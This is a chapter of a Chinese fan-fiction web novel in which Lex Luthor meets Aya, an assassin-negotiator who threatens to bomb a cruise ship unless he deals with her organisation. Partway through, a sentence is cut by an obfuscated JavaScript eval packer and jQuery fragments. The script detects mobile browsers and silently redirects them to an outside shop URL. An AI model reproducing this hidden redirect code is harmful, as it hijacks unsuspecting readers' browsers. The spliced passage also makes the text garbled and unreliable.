莱克斯·卢瑟觉得很无聊。
说实话,当你有钱到了某种程度后,是真的会觉得,做什么都很无聊的:
想要什么就有什么,想做什么就一定能成功。所谓的梦想和热血,都是可以明码标价买到的东西,整个世界对你来说都唾手可得,你还有什么好去努力的呢?
他心不在焉地应付着前来和他攀谈的人们,锐利如鹰隼般的眼扫过一具具被美衣华服包裹着、被珠宝首饰装点着的身躯,掠过楼下无数张因酒精或胜利而涨红的脸庞,只觉难以控制的厌倦涌上心头。
他居高临下地俯视着这些人,便宛如观看在丝绸里蠕动的蚕和蛆,因为不管是辛勤劳作的益虫还是食腐昆虫,在他眼里都没区别:
只是一句不走心的回答,就能引得这么多人如蒙大赦、欣喜若狂……真是太无趣了,怪不得那么多富豪最后都走上了变态的道路。
幸好卢瑟可以骄傲地认为,自己不是变态。
毕竟他这辈子唯一热衷的、持之以恒的兴趣,就是对付超人。
而超人显然是个智力正常、武力爆表的成年男人……成年外星人,能和卢瑟打得有来有回,这可比他的“朋友”们,把暴虐和摧毁的欲望,发泄在毫无反抗之力的小女孩们身上,健康多了。
简而言之,他不违法,但他实在缺德。
而今天,富有的、缺德的、秃头的、无聊的卢瑟,遇到了一个让他竟然能提起兴趣的人。
——你从水中经过,我必与你同在;你趟过江河,水必不漫过你;你从火中行过,必不被烧,火焰也不着在你身上。①
谁也没反应过来,她是怎么出现在舞池里的。
不,说得再准确一点,她都已经横穿过整个舞池了,这种半点不顾周围人眼光的、我行我素的行为,明明应该引起无数人的注意,却除了被她注视着,因此感受到了危险的卢瑟本人之外,愣是没有一个人注意到她。
她黑色的中长发束成马尾,垂在一侧,身着一袭黑色缎面吊带长裙,上身剪裁贴合,下摆弧度流畅,随着她的步伐,荡漾得如水波般轻盈。
除去一对及肘的黑色长手套外,她的身上再无别的装饰,连最普通的耳环、项链和手镯都没有。
如果不看她左眼眼角,那像是胎记又像是纹身,呈放射形蔓延开来的灿金色纹路,那么,她就不光没有珠宝,甚至连妆容都平平无奇得堪称寡淡。
这样简单得近乎寒酸的装扮,如果出现在随便别的什么人身上,只会叫人嘲笑“不会穿衣服的穷鬼”;但放在她身上,便只让人有一个感想:
她的确不需要这些累赘的外物以妆点自身。因为她周身萦绕着的,那种似乎能斩断一切、摧毁一切又重建一切的锐气,已使她熠熠生辉,骄傲夺目如大星,无人敢端详,更无人敢攫其锋芒。
而在她抬起头来,隔着大半个舞池、攒动的人头和明光浮沉的灯海,准确地望向卢瑟的时候,便仿佛当头一刀,锐不可当,避无可避。
即便卢瑟不是什么虔诚的基督教徒,然而这一刻,他的脑海里,竟只剩下这样的词句:
三位天使吹号,就有烧着的大星好像火把,从天上落下来。
哎,明亮之星,早晨之子啊,你竟从天坠落!你的心为何将你逼去?你的眼为何冒出火星?②
——危险逼近了,大星落下来了。
赌场区域喊声震天,觥筹交错;舞池内裙摆飘飘,轻歌妙舞;大厅内比肩接踵,衣香鬓影。
多么热闹的尘世的图景,多么令人沉醉的富丽。
然而她穿行其中,却轻盈得像一缕没有实体的烟,一片随风转折的羽毛,一个永远不会被人注意到的幽灵。
一个醉醺醺的胖子正踉踉跄跄从赌桌旁跌出来,眼看着就要扑到她身上了,她却只是微微一侧身,便行云流水从这人身边掠过,甚至还让出了一个绝妙的位置,让大惊之下前来搀扶贵客的侍应生,能够刚好将此人扶起:
“先生,您没事吧?我带您去醒醒酒。”
这胖子酒还没醒,只不停地嘟囔和抱怨自己今晚的坏运气,全部心神都放在了赌桌上,看来很想不知死活地再回去玩两把,想要一战翻身回本。
侍应生也被他吓得出了一身冷汗。如果让贵客在自己的眼皮子底下摔个大马趴,今天他在地上摔得有多惨,等游轮靠岸的时候,被解职的自己只会摔得有过之而无不及。毕竟贵客的身体和精神都不能摔在地上,这样他们才能舒舒服服、心甘情愿地继续掏钱啊!
两人相视一笑,插曲瞬间平息。
如此一来,不管是巧合还是有意,本来就因为种种诡异的原因,没能注意到她的人,更是直接把她忽略过去了,半点都没注意到,自己身边刚刚经过了一个看起来特别突兀的人。
更令人毛骨悚然的是,这个小插曲,甚至都没有改变她平稳的、坚定的、笔直的脚步,连带着她垂在脸旁的发丝,都不曾多动哪怕一分。
——这大星落在江河的三分之一和众水的泉源上,众水因此变苦,就死了许多人。
卢瑟能注意到的异常,雅典人自然也能注意到。
而雅典人此次派出的精锐干员苏斯金,曾在机缘巧合下和阿娅打过交道。
说得再明白一点,他不光认得阿娅这张英丽明艳、但因杀气过盛让大部分人都不敢记得的脸,更知道她直来直往的行事方式。
于是苏斯金耸了耸肩,立刻终结了和卢瑟刚谈到一半的生意。
他起身的动作那叫一个干脆利落,活像有人在背后举着刀,磨刀霍霍要割他腰子:
“好吧,看来我们的老对手派出了他最得意的心肝宝贝。”
“那么接下来的谈话就不是我能参与的了,卢瑟先生,等您和她谈完后,我再过来。”
如果说之前,卢瑟只是对这个身手敏捷、气场强大、却不知道为什么愣是能不被任何人注意到的漂亮姑娘,有十分的兴趣,在苏斯金表现出“避其锋芒”的态度后,他对她的兴趣,就飙升到了一百二十万分:
“何必这么着急呢,先生?没有人会在海洋绿洲号上动手的。”
苏斯金呵呵冷笑:“难说。”
卢瑟倒是持反对意见,他对此很有信心。
因为在他看来,不管是清算人还是雅典人,都是给某些至高的可怕存在打工的打工人,而他又正好是亿万富翁、企业家。
这说明什么?说明他对打工人“拿多少钱做多少事”、“下班等于出狱”、“恨不得天天带薪上厕所”的心理活动,已经把握得炉火纯青。
而这样的一群打工人,是没有必要冒着风险,在这种地方大动干戈的。
于是卢瑟自信道:“现在,海洋绿洲号已驶入公海,远离大陆,雷达信号显示,周围也没有能来接应的人。”
“先生,谁要是在这里动手,谁就是想要和敌人同归于尽的疯子。”
苏斯金看了一眼越来越近的阿娅,觉得头皮有点发麻:
“你要找疯子吗,卢瑟先生?太巧了,这里就有一个,而我绝对没有说你的意思。”
说完,他便一跃而起,在众人诧异不解的注视下,连滚带爬地夺门而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016352|194196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出。
也正是在他的身影消失在二楼的那一刻,黑发红眸、眼角纹有璀璨金芒的女子,在卢瑟的面前坐了下来。
在坐下来后,她才看似有礼地象征性询问了一下:
“你好,卢瑟先生,我可以坐在这里吗?”
卢瑟有些被气笑了。
他刚想说“你坐都坐下来了才问这个,是不是晚了一些”,然而在这句调侃说出口前,他的眼睛和大脑,便抢先向他发出了警告:
这不是普通的女人,也不是普通的间谍、刺客等,以轻盈灵巧闻名的专业人士。
她坐下时的姿态堪称放松,甚至有些慵懒,与楼下那群绷紧了神经的赌客形成鲜明对比。
但卢瑟注意到,她的脚尖始终指向一个可以最快转向任何方向的角度,肩背的线条在松弛中,也保持着奇异的、随时可以爆发的弹性。
不仅如此,在她坐下来的那一刻,周围若有若无的好奇目光,竟然渐渐消失了。
仿佛有一只无形的大手正在调整所有人的注意力,在由金钱、酒精、权力和地位描摹出来的这幅华美的画面上,陡然出现一把刀,一把能吹毛断发的、锋利的刀,正在将这一片区域慢慢割下。
——我若磨我闪亮的刀,就必报复我的敌人。我的刀要吃肉,乃是仇敌中首领之头的肉。③
和上来后,至少遵守了正常人的社交礼节,礼貌地进行了一下问候和套近乎的苏斯金不同,这位气场凛然、相貌端丽的不速之客,自从坐下后,只说了三句话:
“我叫‘阿娅’,隶属于清算人。”
“他刚刚跟你做的所有生意,我们清算人也都能做。”
“综上所述,请优先考虑我们,卢瑟先生,如果你拒绝,我就只能十分遗憾地把你砍死在这里。”
没有一个脏字,甚至还用了十分礼貌的、“请”“遗憾”之类的字眼,但被阿娅这么一表达,传递出来的让人七窍生烟的感觉,就从十分变成了十万分。
卢瑟已经不是“有些被气笑了”,他是真的被气笑了,并十分好奇,清算人的首领是不是色令智昏,才派这么个狂暴大猩猩来谈生意:
“阿娅小姐,你觉得如果我死在游轮上,我的势力能放过你么?”
阿娅轻轻掀动了一下睫毛,自下而上注视着他。
明澈得近乎寒冷的目光,从她那对浓密如羽扇的睫毛后投射过来,一瞬间,竟让人有种被锋利的刀刃当胸剖开的刺痛错觉:
“你会答应我的,卢瑟先生,因为我将给出一个你绝对无法拒绝的条件。”
伴随着阿娅的话语,二十万吨的游轮突然微不可查地震动了一下。
这一下实在太微小了,微小得让还在忙着寻欢作乐的人们,完全无法察觉,却能让逐渐绷紧了神经的卢瑟,刹那间停止呼吸。
他瞳孔震动之下,只听阿娅又继续道:
“如果莱克斯·卢瑟死在海洋绿洲号上,的确会让你的势力进行疯狂反扑;但如果海洋绿洲号被炸沉了,那么全世界都会为此震动,认为这是一次有预谋的恐怖组织袭击。”
“全球势力大洗牌之下,清算人得到的,只会更多,你的势力失去的,也只会更多。届时,又有谁能为你伸张正义,主持公道呢?”
这一刻,毛发倒竖——不对,应该说汗毛倒竖,因为某人的光头上寸草不生——的卢瑟,终于感受到了无聊和厌倦之外的,别的东西。
这种东西成分很复杂,但总地来说,可以归纳为两种情绪:
第一,好奇;
第二,恐惧。